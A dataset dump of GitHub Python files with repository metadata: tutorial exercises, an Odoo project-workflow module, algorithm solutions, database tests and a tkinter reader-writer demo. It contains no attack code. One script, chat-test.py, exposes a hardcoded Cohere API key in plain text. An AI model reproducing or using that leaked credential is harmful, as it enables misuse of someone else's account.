impl_of_abstract)\n\n            impl_of_abstract = wrap_scope(default_impl)\n            impl_of_abstract._abstract_alternatives_ = abstract_method._abstract_alternatives_\n            setattr(cls, name, impl_of_abstract)\n        # If __abstractmethods__ is non-empty, this is an abstract class and\n        # can't be instantiated.\n        cls.__abstractmethods__ |= abstracts  # Add to the set made by ABCMeta\n        cls._implemented_by_ = implemented_by\n        return cls\n","repo_name":"quantumlib/Cirq","sub_path":"cirq-core/cirq/value/abc_alt.py","file_name":"abc_alt.py","file_ext":"py","file_size_in_byte":5334,"program_lang":"python","lang":"en","doc_type":"code","stars":3974,"dataset":"github-code","pt":"77"}
+{"seq_id":"28466690364","text":"## class variables..\nclass employee:\n\tnum_emps = 0\n\traise_amount = 1.04\n\tdef __init__(self, first, last, pay):##constructor.\n\t## the name __init__ IS RESERVED in py. its a special functional method. \n\t## when we create methods within a class, they receive instance as the first arg. automatically.\n\t## we call this instance self.\n\t## self is the instance/object being created,\n\t\tself.first = first\n\t\tself.last = last\n\t\tself.pay = pay\n\t\tself.email = first + '.' + last + '@company.com'\n\t\temployee.num_emps += 1\n\n\t##new method\n\tdef fullname(self):\n\t\treturn '{} {}'.format(self.first, self.last)\n\n\tdef apply_raise(self):\n\t\t#self.pay = int(self.pay * employee.raise_amount) \n\t\t## we have to access the class variables from class\n\t\t## but we can also access them from the instances.\t\n\t\tself.pay = int(self.pay * self.raise_amount)\n\nemp_1 = employee('aakash', 'agrawal', 500)\nemp_2 = employee('test', 'agrawal', 5000)\nprint(emp_1.pay)\nemp_1.apply_raise()\nprint(emp_1.pay)\n\n## so you can access the class variables from both class and instances.\nprint(emp_1.raise_amount)\nprint(employee.raise_amount)\n\n## printing the namespace of the emplooyee -->> __dict__\n#print(emp_1.__dict__)## you wont get the raise amount in this. \n#print(employee.__dict__) ## class contains the raise amount attribute.\n\n##\nemployee.raise_amount =1.05\nprint(emp_1.raise_amount)\nprint(employee.raise_amount)\n\nemp_1.raise_amount =1.05# would change only for the employee1.\nprint(emp_1.__dict__)## you get the raise amount in this. \n\nprint(employee.num_emps)\n\n","repo_name":"aakash2016/python-oop","sub_path":"oops4.py","file_name":"oops4.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39115138640","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import api, fields, models\nfrom dateutil.relativedelta import relativedelta\n\nfrom odoo.addons.choreograph_project.models.project_project import (\n    TERMINATED_TASK_STAGE,\n    TODO_TASK_STAGE,\n    WAITING_FILE_TASK_STAGE,\n    WAITING_QTY_TASK_STAGE,\n    BAT_CLIENT_TASK_STAGE\n)\n\n\nclass ProjectProject(models.Model):\n    _inherit = 'project.project'\n\n    project_template_id = fields.Many2one('project.project', 'Operation Template',\n                                          domain=[('is_template', '=', True)], copy=False)\n\n    @api.model\n    def set_task_project(self):\n        task_details = self.env['project.task'].get_task_list()\n\n        def get_vals(_list):\n            return {'task_ids': [(0, 0, task_details[item]) for item in _list]}\n\n        def new_extend(source_list: list(), extend_list: list()) -> list():\n            tmp = source_list.copy()\n            tmp.extend(extend_list)\n            return tmp\n        task_list = ['project_name']\n        self.env.ref('choreograph_sale_project.project_project_score_presentation').write(get_vals(task_list))\n        self.env.ref('choreograph_sale_project.project_project_study').write(get_vals(task_list))\n        self.env.ref('choreograph_sale_project.project_project_count').write(get_vals(task_list))\n        self.env.ref('choreograph_sale_project.project_project_yield_calculation').write(get_vals(task_list))\n        self.env.ref('choreograph_sale_project.project_project_matchback').write(get_vals(task_list))\n\n        task_list.extend(['potential', 'delivery_study', 'fullfilment_client', 'delivery_infos'])\n        self.env.ref('choreograph_sale_project.project_project_telfixebox_enrichment').write(\n            get_vals(new_extend(task_list, ['campaign_counts'])))\n        self.env.ref('choreograph_sale_project.project_project_extraction').write(get_vals(task_list))\n\n        task_list.extend(['prefulfillment'])\n        self.env.ref('choreograph_sale_project.project_project_ddn_enrichment').write(get_vals(task_list))\n        self.env.ref('choreograph_sale_project.project_project_telportable_enrichment').write(\n            get_vals(new_extend(task_list, ['campaign_counts'])))\n        self.env.ref('choreograph_sale_project.project_project_sms_enrichment').write(\n            get_vals(new_extend(task_list, ['audit', 'campaign_sms', 'info_presta', 'delivery_presta', 'campaign_counts'])))\n        self.env.ref('choreograph_sale_project.project_project_email_enrichment').write(get_vals(new_extend(\n            task_list, ['audit', 'campaign', 'file_bat', 'link_opt_out', 'info_presta', 'delivery_presta', 'campaign_counts'])))\n\n        task_list.extend(['presentation', 'deposit_date'])\n        self.env.ref('choreograph_sale_project.project_project_reactivation').write(get_vals(task_list))\n        self.env.ref('choreograph_sale_project.project_project_loyalty').write(get_vals(task_list))\n        self.env.ref('choreograph_sale_project.project_project_activation').write(get_vals(task_list))\n        self.env.ref('choreograph_sale_project.project_project_postal_prospecting').write(get_vals(task_list))\n\n        task_list.extend(['campaign_counts'])\n        self.env.ref('choreograph_sale_project.project_project_postal_prospecting_telfixebox').write(\n            get_vals(new_extend(task_list, ['info_presta', 'delivery_presta'])))\n        self.env.ref('choreograph_sale_project.project_project_telfixebox_prospecting').write(get_vals(task_list))\n        self.env.ref('choreograph_sale_project.project_project_postal_prospecting_email').write(\n            get_vals(new_extend(task_list, ['campaign', 'file_bat', 'info_presta', 'delivery_presta'])))\n        self.env.ref('choreograph_sale_project.project_project_email_prospecting').write(\n            get_vals(new_extend(task_list, ['campaign', 'file_bat'])))\n        self.env.ref('choreograph_sale_project.project_project_postal_prospecting_sms').write(\n            get_vals(new_extend(task_list, ['campaign_sms', 'info_presta', 'delivery_presta'])))\n        self.env.ref('choreograph_sale_project.project_project_sms_prospecting').write(\n            get_vals(new_extend(task_list, ['campaign_sms'])))\n        self.env.ref('choreograph_sale_project.project_project_postal_prospecting_telportable').write(\n            get_vals(new_extend(task_list, ['info_presta', 'delivery_presta'])))\n        self.env.ref('choreograph_sale_project.project_project_prospection_telportable').write(get_vals(task_list))\n\n    def create_operation_from_template(self):\n        action = self.project_template_id.create_project_from_template(self.name)\n        self.unlink()\n        return action\n\n    def create_project_from_template(self, name=False):\n        action = super(ProjectProject, self).create_project_from_template()\n        project = self.browse(action.get('res_id')).exists()\n        if project.type_of_project == 'operation':\n            types = self.env['project.task'].get_operation_project_task_type()\n            project_stage = self.env.ref('choreograph_project.planning_project_stage_draft')\n            task_stage = self.env.ref('choreograph_project.project_task_type_draft')\n            project.write({\n                'stage_id': project_stage.id,\n                'type_ids': [(6, 0, types.ids)],\n                'name': name if name else project.name\n            })\n            project.task_ids.with_context(task_stage_init=True).write({\n                'stage_id': task_stage.id,\n            })\n            return {\n                'type': 'ir.actions.act_window',\n                'view_mode': 'form',\n                'res_model': 'sale.order',\n                'target': 'current',\n                'context': {\n                    'create_project_from_template': True,\n                    'operation_id': action.get('res_id')\n                }\n            }\n        return action\n\n    def initialize_order(self, order_id):\n        self.write({\n            'sale_order_id': order_id.id,\n            'partner_id': order_id.partner_id.id,\n            'user_id': order_id.user_id.id\n        })\n        self.task_ids.write({\n            'sale_order_id': order_id.id,\n            'partner_id': order_id.partner_id.id,\n            'date_deadline': order_id.commitment_date\n        })\n        self.task_ids.filtered(lambda t: t.task_number in ['80']).write({\n            'date_deadline': order_id.commitment_date - relativedelta(days=2) if order_id.commitment_date else False,\n        })\n\n    def write(self, vals):\n        res = super(ProjectProject, self).write(vals)\n        for record in self:\n            if record.type_of_project == 'operation' and \\\n                    vals.get('stage_id') == self.env.ref('choreograph_project.planning_project_stage_planified').id:\n                record._hook_stage_planified()\n        return res\n\n    def _hook_stage_planified(self):\n        self._update_task_stage('5', WAITING_FILE_TASK_STAGE)\n        self._update_task_stage('10', WAITING_FILE_TASK_STAGE)\n        self._update_task_stage('15', WAITING_FILE_TASK_STAGE)\n        self._update_task_stage('20', TODO_TASK_STAGE)\n        self._update_task_stage('25', TODO_TASK_STAGE)\n        self._update_task_stage('35', TODO_TASK_STAGE)\n\n    def _hook_task_in_stage_20_25(self):\n        self.write({'stage_id': self.env.ref('choreograph_project.planning_project_stage_in_progress').id})\n\n    def _hook_task_20_in_stage_80(self):\n        self._update_task_stage('65', TODO_TASK_STAGE)\n\n    def _hook_task_25_in_stage_80(self):\n        self._update_task_stage('30', WAITING_QTY_TASK_STAGE)\n        self._update_task_stage('40', TODO_TASK_STAGE)\n\n    def _hook_task_30_in_stage_80(self):\n        if self._is_task_terminated(['40']):\n            self._update_task_stage('65', TODO_TASK_STAGE)\n        \n    def _hook_task_40_in_stage_80(self):\n        if self._is_task_terminated(['30']):\n            self._update_task_stage('65', TODO_TASK_STAGE)\n\n    def _hook_task_65_5_15_terminated(self, except_task):\n        if self._is_task_terminated(['65', '5', '15'], except_task):\n            if self.task_ids.filtered(lambda task: task.task_number == '70'):\n                self._update_task_stage('70', TODO_TASK_STAGE)\n            else:\n                self._update_task_stage('80', TODO_TASK_STAGE)\n\n    def _is_task_terminated(self, task_number_list, task_number=False):\n        if task_number and task_number in task_number_list:\n            task_number_list.pop(task_number_list.index(task_number))\n        task_ids = self.task_ids.filtered(lambda task: task.task_number in task_number_list)\n        return all([task.stage_id.stage_number == TERMINATED_TASK_STAGE for task in task_ids])\n\n    def _hook_task_70_in_stage_80(self):\n        task_55 = self._find_task_by_task_number('55')\n        task_45 = self._find_task_by_task_number('45')\n        task_55_in_80 = task_55 and task_55.stage_id.stage_number == TERMINATED_TASK_STAGE\n        task_45_in_80 = task_45 and task_45.stage_id.stage_number == BAT_CLIENT_TASK_STAGE\n        if (task_55_in_80 or not task_55) and (task_45_in_80 or not task_45):\n            self._update_task_stage('75', TODO_TASK_STAGE)\n\n    def _hook_task_55_in_stage_80(self):\n        task_70 = self._find_task_by_task_number('55')\n        task_45 = self._find_task_by_task_number('45')\n        task_45_in_80 = task_45 and task_45.stage_id.stage_number == BAT_CLIENT_TASK_STAGE\n        task_70_in_80 = task_70 and task_70.stage_id.stage_number == TERMINATED_TASK_STAGE\n        if (task_70_in_80 or not task_70) and (task_45_in_80 or not task_45):\n            self._update_task_stage('75', TODO_TASK_STAGE)\n\n    def _hook_task_75_in_stage_80(self):\n        self.write({'stage_id': self.env.ref('choreograph_project.planning_project_stage_presta_delivery').id})\n\n    def _hook_task_10_and_80_in_stage_80(self, task_number):\n        if self._is_task_terminated(['10', '80'], task_number):\n            self._update_task_stage('85', TODO_TASK_STAGE)\n\n    def _hook_task_fulfillement_terminated(self):\n        self.write({'stage_id': self.env.ref('choreograph_project.planning_project_stage_to_deliver').id})\n\n    def _hook_task_45_in_stage_80(self):\n        self._update_task_stage('90', TODO_TASK_STAGE)\n\n    def _hook_task_45_in_stage_50(self):\n        self.write({'stage_id': self.env.ref('choreograph_project.planning_project_stage_routing').id})\n\n    def _hook_task_80_in_stage_80(self):\n        self._update_task_stage('85', TODO_TASK_STAGE)\n\n    def _hook_task_90_in_stage_15(self):\n        self.write({'stage_id': self.env.ref('choreograph_project.planning_project_stage_extraction').id})\n\n    def _hook_task_90_in_stage_80(self):\n        self.write({'stage_id': self.env.ref('choreograph_project.planning_project_stage_terminated').id})\n\n    def _hook_check_all_task(self, task_id):\n        not_terminated = self.task_ids.filtered(\n            lambda task: task.id != task_id and task.stage_id.stage_number != TERMINATED_TASK_STAGE)\n        if not not_terminated:\n            self.write({'stage_id': self.env.ref('choreograph_project.planning_project_stage_terminated').id})\n","repo_name":"Choreograph-Lille/OdooConex","sub_path":"choreograph-addons/choreograph_sale_project/models/project_project.py","file_name":"project_project.py","file_ext":"py","file_size_in_byte":11055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15504290482","text":"#CRIE UM PROGRAMA QUE LEIA NOME, SEXO E IDADE DE VÁRIAS PESSOAS, GUARDANDO OS DADOS DE CADA PESSOA EM UM DICIONÁRIO E TODOS OS DICIONÁRIOS EMUMA LISTA. NO FINAL, MOSTRE:\n# a) QUANTAS PESSOAS FORAM CADASTRADAS\n# B) A MÉDIA DE IDADE DO GRUPO\n# C) UMA LISTA COM TODSA AS MULHERES.\n# D) UMA LISTA COM TODAS AS PESSOAS  COM IDADE ACIMA DA MÉDIA\ndados = list()\nnome = dict()\nsexo = dict()\nidade = dict()\nsoma = list()\nmulheres = list()\ncont = 0\nwhile True:\n    nome[\"nome\"] = str(input(\"Digite seu nome:\"))\n    dados.append(nome.copy())\n    cont = cont + 1\n    sexo[\"sexo\"] = str(input(\"Sexo → [M / F]:\").strip().upper())\n    dados.append(sexo.copy())\n    if sexo[\"sexo\"] in \"F\":\n        mulheres.append(nome[\"nome\"])\n    while sexo[\"sexo\"] not in \"FM\":\n        sexo[\"sexo\"] = str(input(\"VALOR INVÁLIDO!! Sexo → [M / F]:\").strip().upper())\n        if sexo[\"sexo\"] in \"FM\":\n            break\n    idade[\"idade\"] = int(input(\"idade?: \"))\n    soma.append(idade[\"idade\"])\n    dados.append(idade.copy())\n    c = str(input(\"Quer continuar? [ S / N ]: \").strip().upper())\n    while c not in \"sSnN\":\n        c = str(input(\"Valor inválido !! Quer continuar? [ S / N ]: \").strip().upper())\n    if c == \"N\":\n        break\nfor k, v in enumerate(dados):\n    print(f\"{k} >>>>>>>> {v}\")\ntotal = sum(soma) / cont\n\nprint(f\"Ao todo temos {cont} pessoas cadastradas \")\nprint(f\" A média de idade dessas pessoas é de {total}\")\nprint(f\"As mulheres cadastradas foram {mulheres}\")\n\n# OUTRA FORMA DE FAZER\n\npessoa = list()\nnome = dict()\nsoma = media = 0\n\nwhile True:\n    nome.clear()\n    nome[\"nome\"] = str(input(\"Digite seu nome:\"))\n    while True:\n        nome[\"sexo\"] = str(input(\"sexo? [F / M ]: \")).upper()[0]\n        if nome[\"sexo\"] in \"FM\":\n            break\n        print(\"Valor inválido, por favor digite 'F' ou 'M' \")\n    nome[\"idade\"] = int(input(\"idade?: \"))\n    soma = soma + nome[\"idade\"]\n    pessoa.append(nome.copy())\n    while True:\n        resp = str(input(\"Quer continuar?: [S / N]\")).upper()[0]\n        if resp in \"SN\":\n            break\n        print(\"Valor inválido! Por favor,  digite [ S / N]\")\n    if resp == \"N\":\n        break\nmedia = soma / len(pessoa)\nprint(f\"Foram cadastras {len(pessoa)}\")\nprint(f\"A média de idade foi de {media:.2f} anos\")\nprint(\"As Mulheres cadastradas foram:\", end=\" \")\nfor p in pessoa:\n    if p[\"sexo\"] in \"Ff\":\n        print(f\"{p['nome']},\", end=\" \")\nprint()\nprint(\"Listas das pessoas acim da média:\")\nfor p in pessoa:\n    if p[\"idade\"] >= media:\n        print(\"    \", end=\" \")\n        for k, v in p.items():\n            print(f\"{k} = {v}; \", end=\" \")\n        print()\nprint(\"<<<<   FINALIZADO   >>>>>\")\n\n\n\n\n\n\n# PROFESSOR FEZ:\ngalera = list()\npessoa = dict()\nsoma = media = 0\nwhile True:\n    pessoa.clear()\n    pessoa[\"nome\"] = str(input(\"Nome: \"))\n    while True:\n        pessoa[\"sexo\"] = str(input(\"Sexo: [M/F] \")).upper()[0]\n        if pessoa[\"sexo\"] in \"MF\":\n            break\n        print(\"ERRO! Por favor, digite apenas M ou F. \")\n    pessoa[\"idade\"] = int(input(\"Idade: \"))\n    soma = soma + pessoa[\"idade\"]\n    galera.append(pessoa.copy())\n    while True:\n        resp = str(input(\"Quer Continuar? [S/N]\")).upper()[0]\n        if resp in \"SN\":\n            break\n        print(\"ERRO!, Responda apenas S ou N. \")\n    if resp == \"N\":\n        break\nprint(\"-=-\" * 30)\nprint(f\"Ao todo temos {len(galera)} pessoas cadastradas. \")\nmedia = soma / len(galera)\nprint(f\" A Média de idade é de {media:5.2f} anos.\")\nprint(f\"As mulheres cadastradas foram\", end=\"\")\nfor p in galera:\n    if p[\"sexo\"] in \"Ff\":\n        print(f\"{p['nome']}\", end=\"\")\nprint()\nprint(f\"Lista das pessoas que estão acima da média: \")\nfor p in galera:\n    if p[\"idade\"] >= media:\n        print(\" \", end=\"\")\n        for k, v in p.items():\n            print(f\"{k} = {v}\", end=\"\")\n        print()\nprint(\"<< ENCERRADO >>\")\n\n","repo_name":"AlanLima100/exercicios_em_python","sub_path":"ex094.py","file_name":"ex094.py","file_ext":"py","file_size_in_byte":3827,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7573282777","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nn = int(input().strip())\r\n\r\narr = []\r\n\r\nfor _ in range(n):\r\n    arr.append(int(input().strip()))\r\n\r\nplus = []\r\nminus = []\r\nzero = 0\r\nfor x in arr:\r\n    if x > 0:\r\n        plus.append(x)\r\n    elif x < 0:\r\n        minus.append(x)\r\n    else:\r\n        zero = 1\r\n# 포인트는 위치에 상관없이 묶는다는것이다\r\n# 0 은 무시하자\r\n# 그리디하게 곱이 높은애들만 묶자\r\nplus.sort()\r\nminus.sort(reverse = True)\r\n\r\nanswer = 0\r\n\r\nwhile len(plus) >= 2:\r\n    x,y = plus.pop(),plus.pop()\r\n    answer += max(x * y,x + y)\r\nif plus:\r\n    answer += plus.pop()\r\nwhile len(minus) >= 2:\r\n    x,y = minus.pop(),minus.pop()\r\n    answer += x * y\r\nif minus:\r\n    if not zero :\r\n        answer += minus.pop()\r\nprint(answer)\r\n\r\n","repo_name":"wjs2063/BaekJoon","sub_path":"백준/Gold/1744. 수 묶기/수 묶기.py","file_name":"수 묶기.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5875863234","text":"import cohere\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"prompt\", help=\"The prompt to send to the API\")\n#parser.add_argument(\"file_name\", help=\"Name of the file to save Python script\")\nargs = parser.parse_args()\n\nco = cohere.Client('Zmz7oSN242GFTiGisumtHI1YJue4RpbiJMgyXc4T')\n\nresponse = co.generate(\n    prompt = f\"Write python script to {args.prompt}. Provide only code, no text\",\n)\n\nprint (response)\n","repo_name":"geordie12311/python_scripts","sub_path":"python-chatgpt/chat-test.py","file_name":"chat-test.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29655032717","text":"#法1：非递归\nclass Solution():\n    def letterCombinatins(self,digits):\n        if not digits:\n            return []\n\n        phoneNo = {\n            '2':'abc',\n            '3':'def',\n            '4':'ghi',\n            '5':'jkl',\n            '6':'mno',\n            '7':'pqrs',\n            '8':'tuv',\n            '9':'wxyz',\n        }\n\n        arr = [i for i in phoneNo[digits[0]]]\n\n        for i in digits[1:]:\n            arr = [u+v for u in arr for v in phoneNo[i]]\n            print(arr)\n\n\nif __name__ == '__main__':\n    Solution().letterCombinatins('23')\n\n#法2：递归\nclass Solution(object):\n    def letterCombinations(self, digits):\n        \"\"\"\n        :type digits: str\n        :rtype: List[str]\n        \"\"\"\n        # 创建字母对应的字符列表的字典\n        dic = {2: ['a', 'b', 'c'],\n               3: ['d', 'e', 'f'],\n               4: ['g', 'h', 'i'],\n               5: ['j', 'k', 'l'],\n               6: ['m', 'n', 'o'],\n               7: ['p', 'q', 'r', 's'],\n               8: ['t', 'u', 'v'],\n               9: ['w', 'x', 'y', 'z'],\n               }\n        # 存储结果的数组\n        ret_str = []\n        if len(digits) == 0: return []\n        # 递归出口，当递归到最后一个数的时候result拿到结果进行for循环遍历\n        if len(digits) == 1:\n            return dic[int(digits[0])]\n        # 递归调用\n        result = self.letterCombinations(digits[1:])\n        # result是一个数组列表，遍历后字符串操作，加入列表\n        for r in result:\n            for j in dic[int(digits[0])]:\n                ret_str.append(j + r)\n        return ret_str\n\n\n\n","repo_name":"Janice18/xiyu-NLPTrainee","sub_path":"python/Day3/LeetCode17 电话号码的字母组合.py","file_name":"LeetCode17 电话号码的字母组合.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"14814378045","text":"# test_database.py - tests for database functions\n\n# from sql_database import get_items, add_item, update_item, delete_item\nfrom dataset_database import get_items, add_item, update_item, delete_item\nimport time\n\n# Test Cases\ndef random_string():\n    return str(time.time())\n\ndef test_get_items():\n    print(\"testing get items\")\n    items = get_items()\n    assert type(items) is list\n    assert len(items) > 0\n    assert type(items[0]) is dict\n    assert 'id' in items[0].keys()\n    assert 'description' in items[0].keys()\n    assert type(items[0]['id']) is int\n    assert type(items[0]['description']) is str\n    pass\n\ndef test_add_item():\n    print(\"testing add items\")\n    desc = random_string()\n    add_item(desc)\n    items = get_items()\n    item = items[-1]\n    assert desc == item[\"description\"]\n    pass\n\ndef test_delete_item():\n    print(\"testing delete items\")\n    desc = random_string()\n    add_item(desc)\n    items = get_items()\n    item = items[-1]\n    id = item[\"id\"]\n    delete_item(id)\n    new_items = get_items()\n    assert len(items) > len(new_items)\n    for i in new_items:\n        assert desc != i[\"description\"]\n    pass\n\n\ndef test_update_item():\n    print(\"testing update item\")\n    desc = random_string()\n    add_item(desc)\n    items = get_items()\n    item = items[-1]\n    id, desc = item[\"id\"], item[\"description\"]\n    new_desc = desc.replace(\"1\", \"9\").replace(\".\", \",\")\n    update_item(id, new_desc)\n    new_items = get_items()\n    assert len(items) == len(new_items)\n    new_found = False\n    for i in new_items:\n        if i[\"id\"] == int(id):\n            assert new_desc == i[\"description\"]\n            new_found = True\n        assert i[\"description\"] != desc\n    assert new_found\n\n\nif __name__ == \"__main__\":\n    test_get_items()\n    test_add_item()\n    test_delete_item()\n    test_update_item()\n    print(\"done\")\n\n\n\n\n\n\n","repo_name":"saitejadasari/bottle_webapp","sub_path":"topic-03-dataset-db/test_database.py","file_name":"test_database.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74213118648","text":"'''\r\nMaximal Square from Coderbyte\r\nJanuary 2021 Jakub Kazimierski\r\n'''\r\n\r\ndef MaximalSquare(strArr):\r\n    '''\r\n    Have the function MaximalSquare(strArr) \r\n    take the strArr parameter being passed \r\n    which will be a 2D matrix of 0 and 1's, \r\n    and determine the area of the largest \r\n    square submatrix that contains all 1's. \r\n    A square submatrix is one of equal width \r\n    and height, and your program should return \r\n    the area of the largest submatrix that contains \r\n    only 1's. \r\n    \r\n    For example: if strArr is \r\n    [\"10100\", \"10111\", \"11111\", \"10010\"] \r\n    then this looks like the following matrix:\r\n\r\n    1 0 1 0 0\r\n    1 0 1 1 1\r\n    1 1 1 1 1\r\n    1 0 0 1 0\r\n\r\n    For the input above, you can see the bolded 1's \r\n    create the largest square submatrix of size 2x2, \r\n    so your program should return the area which is 4.\r\n    You can assume the input will not be empty.\r\n    '''\r\n\r\n    matrix = []\r\n    for row in strArr:\r\n        matrix.append(list(row))\r\n\r\n    max_area = 0\r\n    area_border = 1\r\n    # below increments area border at each iteration\r\n    for length in range(len(matrix)):\r\n        # from each point from which square can fit into matrix \r\n        # below cheks possible square created from 1's \r\n        for row_id in range(len(matrix) - length):\r\n            for col_id in range(len(matrix[row_id]) - length):\r\n                is_square = True         \r\n\r\n                # below checks square area of given border length\r\n                for right_id in range(0, area_border):\r\n                    for down_id in range(0, area_border):\r\n                        if is_square:\r\n                            if area_border == 1:\r\n                                if matrix[row_id + down_id][col_id + right_id] == '1':\r\n                                    max_area = 1\r\n                            else:\r\n                                if matrix[row_id + down_id][col_id + right_id] == '0':\r\n                                    is_square = False\r\n                if is_square:\r\n                    max_area = area_border**2    \r\n\r\n        area_border += 1\r\n\r\n    return max_area","repo_name":"JakubKazimierski/PythonPortfolio","sub_path":"Coderbyte_algorithms/Hard/MaximalSquare/MaximalSquare.py","file_name":"MaximalSquare.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"39240288264","text":"\"\"\"\nSolution of application 3\n\"\"\"\n\n# api\nfrom alg_cluster import Cluster as cls\n\n# solution\nfrom projectThree import slow_closest_pairs as slow\nfrom projectThree import fast_closest_pair as fast\nfrom projectThree import hierarchical_clustering as hierarchical\nfrom projectThree import kmeans_clustering as kmeans\n\n# general\nfrom random import randint as rand\nfrom time import clock as timer\nimport matplotlib.pyplot as plt\n\n\n# Question 1\ndef gen_random_clusters(num_clusters):\n    clist = []\n    for _dummy_idx in range(num_clusters):\n        clist.append(cls(set([]), rand(-1, 1), rand(-1, 1), rand(0, 1), rand(-1, 1)))\n\n    return clist\n\ndef simulator():\n    res_slow = []\n    res_fast = []\n\n    clusters = []\n    for size in range(2, 201):\n        clusters.append(gen_random_clusters(size))\n\n    # slow\n    for clist in clusters:\n        slow_start = timer()\n        slow(clist)\n        slow_end = timer()\n        res_slow.append(slow_end - slow_start)\n\n    # fast\n    for clist in clusters:\n        fast_start = timer()\n        fast(clist)\n        fast_end = timer()\n        res_fast.append(fast_end - fast_start)\n\n\n    x_axis = [num for num in range(2, 201)]\n    plt.title('Comparison of efficiency in desktop python environment')\n    plt.xlabel('size of random clusters')\n    plt.ylabel('running time (seconds)')\n    plt.plot(x_axis, res_slow, '-b', label='slow_closest_pair', linewidth=2)\n    plt.plot(x_axis, res_fast, '-r', label='fast_closest_pair', linewidth=2)\n    plt.legend(loc='upper left')\n    plt.show()\n\n\nif __name__ == '__main__':\n    simulator()\n","repo_name":"amazonbuy201508/algorithmic-thinking","sub_path":"src/moduleSix.py","file_name":"moduleSix.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"33622734297","text":"import tkinter as tk\r\nfrom tkinter import ttk, messagebox\r\nfrom threading import Thread, Semaphore\r\nimport time\r\n\r\n# Semáforos\r\nmutex = Semaphore(1)\r\nwrite = Semaphore(1)\r\n\r\n# Contador de lectores\r\nreadcount = 0\r\n\r\nclass ProcessWindow(tk.Toplevel):\r\n    def __init__(self, master=None):\r\n        super().__init__(master)\r\n        self.master = master\r\n        self.title(\"Proceso\")\r\n        self.create_widgets()\r\n\r\n    def create_widgets(self):\r\n        self.text = tk.Text(self)\r\n        self.text.pack()\r\n\r\n        frame = ttk.Frame(self)\r\n        frame.pack()\r\n\r\n        self.read_button = ttk.Button(frame, text=\"Leer\", command=self.read)\r\n        self.read_button.pack(side=\"left\")\r\n\r\n        self.edit_button = ttk.Button(frame, text=\"Editar\", command=self.edit)\r\n        self.edit_button.pack(side=\"left\")\r\n\r\n        self.save_button = ttk.Button(frame, text=\"Guardar\", command=self.save)\r\n        self.save_button.pack(side=\"left\")\r\n\r\n    def read(self):\r\n        def reader():\r\n            global readcount\r\n            mutex.acquire()\r\n            readcount += 1\r\n            if readcount == 1:\r\n                if not write.acquire(blocking=False):\r\n                    messagebox.showwarning(\"Advertencia\", \"Un escritor está escribiendo en el archivo.\")\r\n                    readcount -= 1\r\n                    mutex.release()\r\n                    return\r\n            mutex.release()\r\n\r\n            # Leer archivo\r\n            with open('file.txt', 'r') as f:\r\n                content = f.read()\r\n\r\n            # Simular lectura en tiempo real\r\n            for word in content.split():\r\n                self.text.insert('end', word + ' ')\r\n                self.text.update()\r\n                time.sleep(0.5)\r\n\r\n            mutex.acquire()\r\n            readcount -= 1\r\n            if readcount == 0:\r\n                write.release()\r\n            mutex.release()\r\n\r\n        Thread(target=reader).start()\r\n\r\n    def edit(self):\r\n        self.text.delete('1.0', 'end')\r\n\r\n    def save(self):\r\n        def writer():\r\n            if not write.acquire(blocking=False):\r\n                messagebox.showwarning(\"Advertencia\", \"Otro escritor está escribiendo en el archivo.\")\r\n                return\r\n\r\n            # Guardar archivo\r\n            with open('file.txt', 'w') as f:\r\n                f.write(self.text.get('1.0', 'end'))\r\n\r\n            write.release()\r\n\r\n        Thread(target=writer).start()\r\n\r\nroot = tk.Tk()\r\nroot.withdraw()\r\n\r\nfor _ in range(3):\r\n    ProcessWindow(root)\r\n\r\nroot.mainloop()\r\n","repo_name":"GALL1T0/Lector-Escritor1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72567465209","text":"from lxml import etree\nimport time, os, sys, re\n\nclass XMLEntity(object):\n    def xml(self):\n        # returns an xml representation of object\n        raise NotImplementedError\n\n    _strcache = None\n    def __str__(self):\n        if not self._strcache:\n            self._strcache = render_xml(self.xml(),include_header=True)\n        return self._strcache\n        \n    def __len__(self):\n        return len(str(self))\n\nclass XMLEntityList(object):\n    def xml_list(self):\n        raise NotImplementedError\n\ndef render_xml(element, include_header=True):\n    s = etree.tostring(element)\n    if include_header:\n         return '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\\n' + s\n    else:\n        return s\n\ndef SubElement(*args, **keywords):\n    return _element_helper(2, etree.SubElement, args, keywords)\n\ndef Element(*args, **keywords):\n    return _element_helper(1, etree.Element, args, keywords)\n\ndef _element_helper(n_expected_args, func, args, keywords):\n    \n    if len(args) > n_expected_args:\n        text = args[n_expected_args]\n        args = args[:n_expected_args] + args[n_expected_args+1:]\n    else:\n        text = None\n\n    try:\n        children = keywords.pop('children')\n    except:\n        children = []\n    try:\n        extra_elements = keywords.pop('extra_elements')\n    except:\n        extra_elements = {}\n\n    el = func(*args, **keywords)\n    \n    for k,v in extra_elements.items():\n        el.set(k,v)\n\n    if text != None:\n        el.text = str(text)\n\n    for c in _expand_children(children):\n        el.append(c)\n    return el\n\n\ndef _expand_children(seq):\n    for c in seq:\n        if isinstance(c, XMLEntity):\n            yield c.xml()\n        elif isinstance(c, XMLEntityList):\n            for e in 